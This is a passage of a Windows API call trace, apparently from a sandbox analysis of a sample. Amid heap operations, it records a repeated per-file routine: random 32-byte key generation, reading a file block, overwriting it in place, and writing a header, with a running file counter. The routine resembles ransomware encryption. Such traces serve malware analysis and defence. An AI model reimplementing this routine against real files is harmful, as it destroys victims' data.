returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.043] GetProcessHeap () returned 0x540000 [0087.043] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.043] GetProcessHeap () returned 0x540000 [0087.044] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.044] GetProcessHeap () returned 0x540000 [0087.044] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.045] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.045] GetProcessHeap () returned 0x540000 [0087.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.046] GetProcessHeap () returned 0x540000 [0087.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.046] SetFilePointerEx (in: hFile=0x964, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.046] WriteFile (in: hFile=0x964, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.046] WriteFile (in: hFile=0x964, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.046] GetProcessHeap () returned 0x540000 [0087.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.046] GetProcessHeap () returned 0x540000 [0087.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.046] GetProcessHeap () returned 0x540000 [0087.046] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.046] CloseHandle (hObject=0x964) returned 1 [0087.046] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 123 [0087.046] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.046] ReadFile (in: hFile=0x968, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.046] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.046] GetProcessHeap () returned 0x540000 [0087.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.046] GetProcessHeap () returned 0x540000 [0087.046] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.047] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.047] GetProcessHeap () returned 0x540000 [0087.047] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.047] ReadFile (in: hFile=0x968, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.095] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.095] WriteFile (in: hFile=0x968, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.095] GetProcessHeap () returned 0x540000 [0087.095] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.095] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.096] GetProcessHeap () returned 0x540000 [0087.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.097] GetProcessHeap () returned 0x540000 [0087.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.097] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.098] GetProcessHeap () returned 0x540000 [0087.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0087.099] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.099] WriteFile (in: hFile=0x968, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0087.099] WriteFile (in: hFile=0x968, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.099] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0087.099] GetProcessHeap () returned 0x540000 [0087.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0087.100] GetProcessHeap () returned 0x540000 [0087.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0087.100] CloseHandle (hObject=0x968) returned 1 [0087.101] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 124 [0087.101] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.101] ReadFile (in: hFile=0x96c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0087.101] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.101] GetProcessHeap () returned 0x540000 [0087.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0087.101] GetProcessHeap () returned 0x540000 [0087.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0087.101] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0087.101] GetProcessHeap () returned 0x540000 [0087.101] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0087.101] ReadFile (in: hFile=0x96c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0087.150] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.150] WriteFile (in: hFile=0x96c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0087.151] GetProcessHeap () returned 0x540000 [0087.151] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0087.151] GetProcessHeap () returned 0x540000 [0087.152] RtlAllocateHeap (HeapHandle=0x540000, 